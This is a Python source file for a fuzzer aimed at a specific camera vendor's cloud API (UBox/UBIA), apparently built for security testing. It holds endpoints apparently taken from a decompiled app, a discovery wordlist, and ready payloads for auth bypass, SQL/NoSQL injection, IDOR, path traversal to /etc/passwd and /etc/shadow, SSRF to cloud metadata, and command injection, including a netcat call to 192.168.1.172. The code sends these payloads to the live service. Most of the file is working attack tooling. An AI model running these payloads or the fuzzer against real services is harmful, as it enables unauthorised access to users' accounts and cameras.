"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities"""
import json
import time
import threading
import urllib.request
import urllib.error
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
# Known endpoints harvested from decompiled UBox APK (146 confirmed)
KNOWN_ENDPOINTS = [
"account_link", "activate_subscription_paypal", "addOrder",
"alipaySign", "alipayVerify",
"app/customer_support_info", "app/getconfig", "app/getSupportInfoV2",
"app/info", "app/push_channel_reg", "app/version_check",
"captcha", "capture_paypal_order", "create_payment_paypal_app",
"email_user_candidates", "interface", "interface.php",
"ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth",
"mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order",
"mt/biz/card_service_list", "mt/biz/uid_service_add_order",
"mt/biz/uid_service_list", "mt/biz/uid_service_order_list",
"mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old",
"pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents",
"pub/location/get_location_codes", "pub/location/rev_geocoding",
"pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info",
"pub/usersupport/get_guest_session",
"pub/usersupport/get_im_groups_user_unread_count",
"pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file",
"push-ack", "reset_pwd", "send_code", "service_list",
"share_permissions", "temp_token", "ticket_title",
"user/account/add_location", "user/account/get_current_user",
"user/account_link", "user/alexa_account_status",
"user/auth", "user/auth-email",
"user/card4g-info", "user/card4g_info", "user/card4g-order-add",
"user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock",
"user/check_version", "user/cloud_list",
"user/cloudvideo/put_event_tag",
"user/confirm_ptz_snap", "user/del_ptz_snap",
"user/device-add", "user/device-add-token",
"user/device-alexa", "user/device-alexa-ust",
"user/device_del", "user/device_edit", "user/device-extra-update",
"user/device/get_apn_info", "user/device/get_binding_info",
"user/device/get_dev_diag_help_doc",
"user/device_list", "user/device/list_ordering",
"user/device-notice-setting", "user/device/share",
"user/device/share_do/v2", "user/device-share-info",
"user/device_shares", "user/device_share_tbc",
"user/device-share-update", "user/device-temp-token",
"user/device/try_fix_for_add_4g_device", "user/device_unshare",
"user/email_user_candidates", "user/event_calendar",
"user/event_do", "user/faceId", "user/families", "user/family",
"user/friend", "user/friends",
"user/get_cloud_video_url", "user/get_devices_dynamic_info",
"user/get_ptz_snap", "user/logout", "user/modify_pwd",
"user/notice_type", "user/noti/device/info_changed",
"user/online_service", "user/order_add",
"user/order/card4g_order_create_dev_noadd",
"user/order/order_add/v2", "user/product_info",
"user/product_purchasable",
"user/purchase/card4g_packages_dev_noadd",
"user/push_channel_update", "user/put_ptz_snap",
"user/qry/aggregate/app_on_switch_foreground",
"user/qry/device/add_help_doc", "user/qry/device/bind_issue",
"user/qry/device/check_version/v3", "user/qry/device/device_services",
"user/qry/device/info_for_add", "user/qry/device/query_add_result",
"user/qry/notification/detail", "user/qry/notification/get",
"user/qry/order/list/v2",
"user/qry/purchase/4g_packages_dev_noadd",
"user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list",
"user/revoke", "user/service_trial",
"user/update_friend_remark", "user/update_user_info",
"user/upgrade_order",
"user/usersupport/get_app_user_im_group",
"user/usersupport/get_app_user_im_groups",
"user/usersupport/get_app_user_im_session",
"user/usersupport/get_app_user_im_token",
"user/usersupport/get_im_file_url",
"user/usersupport/get_im_groups_info",
"user/usersupport/get_issue_type_and_dev_light_state",
"user/usersupport/put_im_file",
"v2/user/device_list", "v2/user/get_devices_info",
"v3/login",
"valid_code", "wxpay", "wxpay_check",
]
# Wordlist for endpoint discovery
ENDPOINT_WORDLIST = [
# ── User management ──────────────────────────────
"user/info", "user/profile", "user/settings", "user/delete",
"user/update", "user/list", "user/devices", "user/sessions",
"user/tokens", "user/permissions", "user/roles", "user/admin",
"user/logout", "user/register", "user/verify", "user/activate",
"user/deactivate", "user/ban", "user/unban", "user/search",
"user/export", "user/import", "user/backup", "user/restore",
"user/avatar", "user/nickname", "user/email", "user/phone",
"user/password", "user/change_password", "user/modify_password",
"user/reset_password", "user/forgot_password",
"user/notification", "user/notifications", "user/notice",
"user/message", "user/messages", "user/inbox",
"user/subscription", "user/subscriptions", "user/plan",
"user/billing", "user/payment", "user/order", "user/orders",
"user/coupon", "user/coupons", "user/invite", "user/referral",
"user/feedback", "user/report", "user/ticket", "user/tickets",
"user/log", "user/logs", "user/activity", "user/history",
"user/preferences", "user/config", "user/token",
"user/refresh_token", "user/access_token",
"user/third_party", "user/bind", "user/unbind",
"user/wechat", "user/facebook", "user/google", "user/apple",
# ── User + device compound paths (ubox pattern) ──
"user/device/list", "user/device/add", "user/device/del",
"user/device/remove", "user/device/bind", "user/device/unbind",
"user/device/share", "user/device/unshare", "user/device/transfer",
"user/device/rename", "user/device/info", "user/device/config",
"user/device/settings", "user/device/status", "user/device/online",
"user/device/offline", "user/device/reboot", "user/device/reset",
"user/device/upgrade", "user/device/firmware",
"user/device/command", "user/device/control",
"user/device/snapshot", "user/device/capture",
"user/device/recording", "user/device/playback",
"user/device/event", "user/device/events", "user/device/alarm",
"user/device/alarms", "user/device/alert", "user/device/alerts",
"user/device/log", "user/device/logs",
"user/device/stream", "user/device/live", "user/device/video",
"user/device/audio", "user/device/speaker",
"user/device/ptz", "user/device/pan", "user/device/tilt",
"user/device/zoom", "user/device/preset",
"user/device/motion", "user/device/detection",
"user/device/sensitivity", "user/device/schedule",
"user/device/wifi", "user/device/network",
"user/device/sd", "user/device/sdcard", "user/device/storage",
"user/device/format", "user/device/format_sd",
"user/device/led", "user/device/ir", "user/device/night_vision",
"user/device/osd", "user/device/time", "user/device/timezone",
"user/device/battery", "user/device/power",
"user/device/sim", "user/device/4g", "user/device/signal",
"user/device/iccid", "user/device/imei",
# ── Query paths (ubox pattern: user/qry/) ────────
"user/qry/device/list", "user/qry/device/info",
"user/qry/device/status", "user/qry/device/config",
"user/qry/device/firmware", "user/qry/device/version",
"user/qry/device/check_version", "user/qry/device/check_version/v2",
"user/qry/device/events", "user/qry/device/alarms",
"user/qry/device/logs", "user/qry/device/recordings",
"user/qry/device/cloud_videos", "user/qry/device/snapshots",
"user/qry/device/battery", "user/qry/device/signal",
"user/qry/device/network", "user/qry/device/wifi",
"user/qry/device/storage", "user/qry/device/sd",
"user/qry/device/sim", "user/qry/device/4g",
"user/qry/user/info", "user/qry/user/devices",
"user/qry/user/subscriptions", "user/qry/user/orders",
# ── Versioned endpoints ──────────────────────────
"v1/login", "v2/login", "v4/login",
"v1/user/device_list", "v3/user/device_list",
"v1/user/families", "v2/user/families", "v3/user/families",
"v1/user/cloud_list", "v3/user/cloud_list",
"v2/user/check_version", "v3/user/check_version",
"v1/user/event_calendar", "v2/user/event_calendar",
"v2/user/qry/device/device_services",
"v3/user/qry/device/device_services",
"v2/user/qry/device/check_version/v3",
# ── Device (direct) ──────────────────────────────
"device/list", "device/info", "device/config", "device/settings",
"device/firmware", "device/update", "device/reboot", "device/reset",
"device/logs", "device/events", "device/status", "device/command",
"device/stream", "device/snapshot", "device/recording",
"device/share", "device/unshare", "device/transfer",
"device/debug", "device/shell", "device/telnet", "device/ssh",
"device/console", "device/terminal", "device/exec",
"device/control", "device/ioctrl", "device/iotctrl",
"device/p2p", "device/connect", "device/disconnect",
"device/wakeup", "device/sleep", "device/standby",
"device/register", "device/unregister", "device/provision",
"device/activate", "device/deactivate",
"device/ota", "device/ota/check", "device/ota/download",
"device/ota/status", "device/ota/history",
# ── Admin ────────────────────────────────────────
"admin/users", "admin/devices", "admin/logs", "admin/config",
"admin/stats", "admin/dashboard", "admin/system", "admin/debug",
"admin/firmware", "admin/update", "admin/backup", "admin/restore",
"admin/login", "admin/panel", "admin/console",
"admin/user/list", "admin/user/create", "admin/user/delete",
"admin/device/list", "admin/device/config", "admin/device/firmware",
"admin/audit", "admin/audit/log", "admin/security",
"admin/api/keys", "admin/api/tokens", "admin/api/stats",
"admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage",
"admin/ota/upload", "admin/ota/list", "admin/ota/deploy",
"admin/push", "admin/notification", "admin/broadcast",
"manage/users", "manage/devices", "manage/firmware",
"management/users", "management/devices",
"internal/users", "internal/devices", "internal/debug",
"internal/config", "internal/health", "internal/metrics",
# ── System / infra ───────────────────────────────
"system/info", "system/version", "system/health", "system/status",
"system/config", "system/debug", "system/logs", "system/metrics",
"system/time", "system/restart", "system/shutdown",
# ── Firmware / OTA ───────────────────────────────
"firmware/list", "firmware/download", "firmware/upload",
"firmware/latest", "firmware/check", "firmware/update",
"firmware/history", "firmware/rollback", "firmware/versions",
"ota/check", "ota/download", "ota/status", "ota/list",
"ota/upload", "ota/deploy", "ota/history", "ota/config",
# ── Cloud / storage ──────────────────────────────
"cloud/config", "cloud/status", "cloud/keys",
"cloud/storage", "cloud/video", "cloud/events",
"cloud/upload", "cloud/download", "cloud/list",
"cloud/delete", "cloud/share", "cloud/token",
"cloud/subscription", "cloud/plan", "cloud/usage",
"storage/list", "storage/upload", "storage/download",
"storage/delete", "storage/quota", "storage/usage",
# ── Push / notification ──────────────────────────
"push/config", "push/send", "push/test", "push/token",
"push/register", "push/unregister", "push/channels",
"notification/list", "notification/send", "notification/config",
"notification/test", "notification/token",
# ── P2P / streaming ──────────────────────────────
"p2p/config", "p2p/server", "p2p/relay", "p2p/status",
"p2p/connect", "p2p/disconnect", "p2p/session",
"p2p/sessions", "p2p/token", "p2p/auth",
"stream/start", "stream/stop", "stream/status",
"stream/config", "stream/token", "stream/url",
"rtsp/config", "rtsp/url", "rtsp/token",
"live/start", "live/stop", "live/status", "live/url",
# ── AI / detection ───────────────────────────────
"ai/config", "ai/status", "ai/detect", "ai/face",
"ai/person", "ai/motion", "ai/object", "ai/model",
"ai/train", "ai/results", "ai/history",
"detection/config", "detection/zones", "detection/sensitivity",
"detection/schedule", "detection/history",
# ── SIM / 4G ─────────────────────────────────────
"sim/info", "sim/status", "sim/activate", "sim/deactivate",
"sim/data", "sim/usage", "sim/plan", "sim/recharge",
"sim/config", "sim/apn", "sim/carrier",
"4g/info", "4g/status", "4g/signal", "4g/config",
"card4g-info", "user/card4g-info",
"v3/user/card4g-info",
# ── Payment / billing ────────────────────────────
"pay/order", "pay/orders", "pay/create", "pay/callback",
"pay/verify", "pay/refund", "pay/status",
"pay/subscription", "pay/subscriptions",
"pay/products", "pay/plans", "pay/pricing",
"billing/info", "billing/history", "billing/invoice",
# ── Auth / OAuth ─────────────────────────────────
"auth/token", "auth/refresh", "auth/verify", "auth/revoke",
"auth/login", "auth/logout", "auth/register",
"auth/password", "auth/reset", "auth/code",
"oauth/authorize", "oauth/token", "oauth/callback",
"oauth/revoke", "oauth/userinfo",
"sso/login", "sso/callback", "sso/logout",
# ── Geographic / location ────────────────────────
"pub/location/geocoding", "pub/location/search",
"pub/location/timezone", "pub/location/weather",
"location/config", "location/geo", "location/address",
"query-zid", "query_zid", "get_zone",
# ── Misc / discovery ─────────────────────────────
"ping", "health", "healthz", "ready", "readyz",
"version", "info", "about", "debug", "test", "echo",
"status", "config", "metrics", "prometheus",
"swagger", "swagger.json", "swagger.yaml",
"docs", "api-docs", "api-doc", "redoc",
"openapi", "openapi.json", "openapi.yaml",
".env", "robots.txt", "sitemap.xml", "favicon.ico",
".git/config", ".git/HEAD", "wp-login.php",
"graphql", "graphiql", "playground",
"websocket", "ws", "socket.io",
# ── UBIA-specific guesses ────────────────────────
"pub/app/config", "pub/app/version", "pub/app/update",
"pub/device/config", "pub/device/version",
"pub/firmware/latest", "pub/firmware/list",
"pub/notice", "pub/announcement", "pub/banner",
"app/config", "app/version", "app/update", "app/feedback",
"mt-login", "mt-device", "mt-config",
"bind_wechat", "unbind_wechat",
"user/get_notification", "user/set_notification",
"user/get_push_token", "user/set_push_token",
"user/get_privacy", "user/set_privacy",
"user/get_cloud_config", "user/set_cloud_config",
"user/get_ai_config", "user/set_ai_config",
"user/get_detection_config", "user/set_detection_config",
"user/get_schedule", "user/set_schedule",
"user/get_timezone", "user/set_timezone",
"user/get_device_config", "user/set_device_config",
"user/get_stream_config", "user/set_stream_config",
"user/get_rtsp_url", "user/get_p2p_config",
"user/get_firmware_url", "user/get_ota_url",
"user/get_device_log", "user/get_crash_log",
"user/upload_log", "user/upload_crash",
"user/get_cloud_key", "user/get_cloud_secret",
"user/get_push_config", "user/set_push_config",
"user/reply_get_notification",
"user/device_share_list", "user/device_share_add",
"user/device_share_del", "user/device_share_accept",
"user/device_share_reject",
"user/family/add", "user/family/del", "user/family/update",
"user/family/list", "user/family/members",
"user/family/invite", "user/family/remove_member",
]
# Parameter mutation payloads
PARAM_MUTATIONS = {
"auth_bypass": [
{},
{"admin": True},
{"role": "admin"},
{"is_admin": 1},
{"debug": True},
{"test": True},
{"internal": True},
{"bypass": True},
{"token": "admin"},
{"user_type": "admin"},
{"privilege": 9999},
{"level": 0},
{"auth": "none"},
{"skip_auth": True},
],
"sqli": [
{"device_uid": "' OR '1'='1"},
{"device_uid": "\" OR \"1\"=\"1"},
{"device_uid": "'; DROP TABLE users; --"},
{"account": "admin'--"},
{"account": "' UNION SELECT * FROM users--"},
{"device_uid": "1; WAITFOR DELAY '0:0:5'--"},
{"device_uid": "1' AND SLEEP(5)--"},
{"account": "admin' AND '1'='1"},
{"password": "' OR '1'='1"},
{"device_uid": "' UNION SELECT username,password FROM users--"},
{"page": "1; DROP TABLE devices--"},
{"device_uid": "1' ORDER BY 100--"},
],
"nosql": [
{"device_uid": {"$gt": ""}},
{"device_uid": {"$ne": ""}},
{"device_uid": {"$regex": ".*"}},
{"account": {"$gt": ""}},
{"password": {"$ne": "invalid"}},
{"$where": "1==1"},
{"device_uid": {"$exists": True}},
{"account": {"$in": ["admin", "root", "test"]}},
],
"idor": [
{"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"},
{"device_uid": "../../../etc/passwd"},
{"device_uid": "0"},
{"device_uid": "-1"},
{"device_uid": "1"},
{"user_id": "1"},
{"user_id": "0"},
{"user_id": "-1"},
{"kuid": "1"},
{"kuid": "1000000000"},
{"kuid": "1006072344"},
{"uuid": "admin"},
{"family": 1},
{"family_id": "1"},
{"id": 1},
{"id": 0},
{"device_uid": "AAAAAAAAAAAAAAAAAAAA"},
{"device_uid": "J7HYJJFFFXRDKBYGPVR0"},
{"device_uid": "J7HYJJFFFXRDKBYGPVR1"},
],
"overflow": [
{"device_uid": "A" * 500},
{"device_uid": "A" * 10000},
{"device_uid": "A" * 100000},
{"page": 999999},
{"page": -1},
{"page": 0},
{"count": -1},
{"count": 0},
{"count": 999999},
{"page_num": 2147483647},
{"zone_id": 2147483647},
{"zone_id": -2147483648},
{"device_uid": "\x00" * 100},
{"account": "A" * 10000},
],
"type_confusion": [
{"device_uid": 12345},
{"device_uid": True},
{"device_uid": False},
{"device_uid": None},
{"device_uid": []},
{"device_uid": [1, 2, 3]},
{"device_uid": {"key": "value"}},
{"device_uid": 0},
{"device_uid": -1},
{"device_uid": 1.5},
{"page": "abc"},
{"page": True},
{"page": None},
{"page": []},
{"count": "all"},
{"zone_id": "global"},
],
"path_traversal": [
{"device_uid": "../../etc/passwd"},
{"device_uid": "..\\..\\etc\\passwd"},
{"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"},
{"device_uid": "....//....//etc/passwd"},
{"file": "/etc/passwd"},
{"file": "/etc/shadow"},
{"path": "/proc/self/environ"},
{"url": "file:///etc/passwd"},
{"filename": "../../../etc/passwd"},
],
"ssrf": [
{"url": "http://127.0.0.1"},
{"url": "http://localhost"},
{"url": "http://169.254.169.254/latest/meta-data/"},
{"url": "http://[::1]"},
{"url": "http://0.0.0.0"},
{"callback_url": "http://127.0.0.1:8080"},
{"webhook": "http://localhost:9090"},
{"firmware_url": "http://127.0.0.1/evil.bin"},
],
"xss_ssti": [
{"device_uid": ""},
{"name": "
"},
{"device_uid": "{{7*7}}"},
{"device_uid": "${7*7}"},
{"device_uid": "<%=7*7%>"},
{"name": "{{config}}"},
{"name": "${env}"},
],
"command_injection": [
{"device_uid": "; id"},
{"device_uid": "| id"},
{"device_uid": "$(id)"},
{"device_uid": "`id`"},
{"device_uid": "; cat /etc/passwd"},
{"device_uid": "| nc 192.168.1.172 4444"},
{"name": "; whoami"},
{"wifi_ssid": "test'; ping -c1 192.168.1.172; '"},
{"firmware_url": "http://x/$(id)"},
],
"format_string": [
{"device_uid": "%s%s%s%s%s"},
{"device_uid": "%x%x%x%x"},
{"device_uid": "%n%n%n%n"},
{"device_uid": "%p%p%p%p"},
{"name": "%s" * 50},
],
"null_byte": [
{"device_uid": "valid\x00admin"},
{"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"},
{"account": "admin\x00@evil.com"},
{"file": "image.jpg\x00.php"},
],
"unicode": [
{"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"},
{"account": "admin\u200b@test.com"},
{"device_uid": "\u0000\u0001\u0002"},
{"name": "\ud800"},
],
"large_json": [
{"a": "b" * 100000},
dict([(f"key_{i}", f"val_{i}") for i in range(1000)]),
{"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}},
],
}
class Fuzzer:
def __init__(self, cfg):
self.cfg = cfg
self.results = []
self.running = False
self._lock = threading.Lock()
def _post(self, endpoint, data, token=None, timeout=5):
url = f"{self.cfg['api_base']}/{endpoint}"
body = json.dumps(data).encode("utf-8")
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
if token:
req.add_header("X-Ubia-Auth-UserToken", token)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
code = resp.getcode()
body = resp.read().decode("utf-8", errors="replace")[:500]
return code, body
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")[:500]
return e.code, body
except Exception as e:
return 0, str(e)
def _add_result(self, endpoint, method, status, note, response=""):
with self._lock:
self.results.append({
"endpoint": endpoint,
"method": method,
"status": status,
"note": note,
"response": response[:300],
})
def _parse_app_code(self, body):
"""Extract the application-level code from JSON response body.
UBIA API always returns HTTP 200 — real status is in {"code": N}"""
try:
data = json.loads(body)
return data.get("code", -1), data
except:
return -1, {}
def fuzz_endpoints(self):
"""Discover hidden API endpoints"""
self.running = True
log("FUZZ: starting endpoint discovery...", C_INFO)
token = self.cfg["api_token"]
delay = self.cfg.get("fuzzer_delay", 0.2)
all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST))
total = len(all_endpoints)
for i, ep in enumerate(all_endpoints):
if not self.running:
break
# Try with auth
code, body = self._post(ep, {}, token)
if code == 0:
continue # connection error
elif code == 404:
continue # not found
elif code == 200:
app_code, parsed = self._parse_app_code(body)
if app_code == 0:
# Real success
log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT)
self._add_result(ep, "POST", code, "accessible", body)
# Now test without auth
code2, body2 = self._post(ep, {}, None)
app_code2, _ = self._parse_app_code(body2)
if app_code2 == 0:
log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT)
self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2)
elif app_code2 != 10004:
log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC)
self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2)
elif app_code == 10004:
# Token rejected even with our valid token — interesting
log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC)
self._add_result(ep, "POST", code, "token_rejected", body)
elif app_code == 10001:
# Invalid params — endpoint exists
log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC)
self._add_result(ep, "POST", code, "needs_params", body)
else:
log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC)
self._add_result(ep, "POST", code, f"app_code_{app_code}", body)
elif code == 405:
log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC)
self._add_result(ep, "POST", code, "method_not_allowed", body)
else:
log(f"FUZZ: [{code}] {ep}", 0)
self._add_result(ep, "POST", code, f"http_{code}", body)
if (i + 1) % 50 == 0:
log(f"FUZZ: progress {i+1}/{total}", C_INFO)
time.sleep(delay)
log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS)
self.running = False
def fuzz_params(self, endpoint):
"""Test parameter mutations on a specific endpoint"""
self.running = True
log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO)
token = self.cfg["api_token"]
delay = self.cfg.get("fuzzer_delay", 0.1)
for category, payloads in PARAM_MUTATIONS.items():
if not self.running:
break
log(f"FUZZ: testing {category}...", C_INFO)
for payload in payloads:
if not self.running:
break
code, body = self._post(endpoint, payload, token)
note = f"{category}: {json.dumps(payload)[:80]}"
if code == 200:
log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT)
elif code == 500:
log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT)
else:
log(f"FUZZ: [{code}] {note}", C_TRAFFIC)
self._add_result(endpoint, category, code, note, body)
time.sleep(delay)
log(f"FUZZ: param fuzzing done", C_SUCCESS)
self.running = False
def fuzz_auth(self):
"""Test authentication bypass techniques"""
self.running = True
log("FUZZ: testing auth bypass...", C_INFO)
delay = self.cfg.get("fuzzer_delay", 0.2)
test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"]
tests = [
("no_token", None),
("empty_token", ""),
("invalid_token", "invalidtoken123"),
("expired_format", "xxxx1234567890abcdef"),
("sql_token", "' OR '1'='1"),
("null_byte", "valid\x00admin"),
("long_token", "A" * 1000),
]
for ep in test_endpoints:
if not self.running:
break
for test_name, token_val in tests:
if not self.running:
break
code, body = self._post(ep, {}, token_val)
app_code, _ = self._parse_app_code(body)
if code == 200 and app_code == 0:
log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT)
elif code == 200 and app_code != 10004:
log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC)
else:
log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0)
self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body)
time.sleep(delay)
log("FUZZ: auth bypass testing done", C_SUCCESS)
self.running = False
def stop(self):
self.running = False
def save_results(self, path=None):
path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json"
with open(path, "w") as f:
json.dump(self.results, f, indent=2)
log(f"FUZZ: results saved to {path}", C_SUCCESS)
return path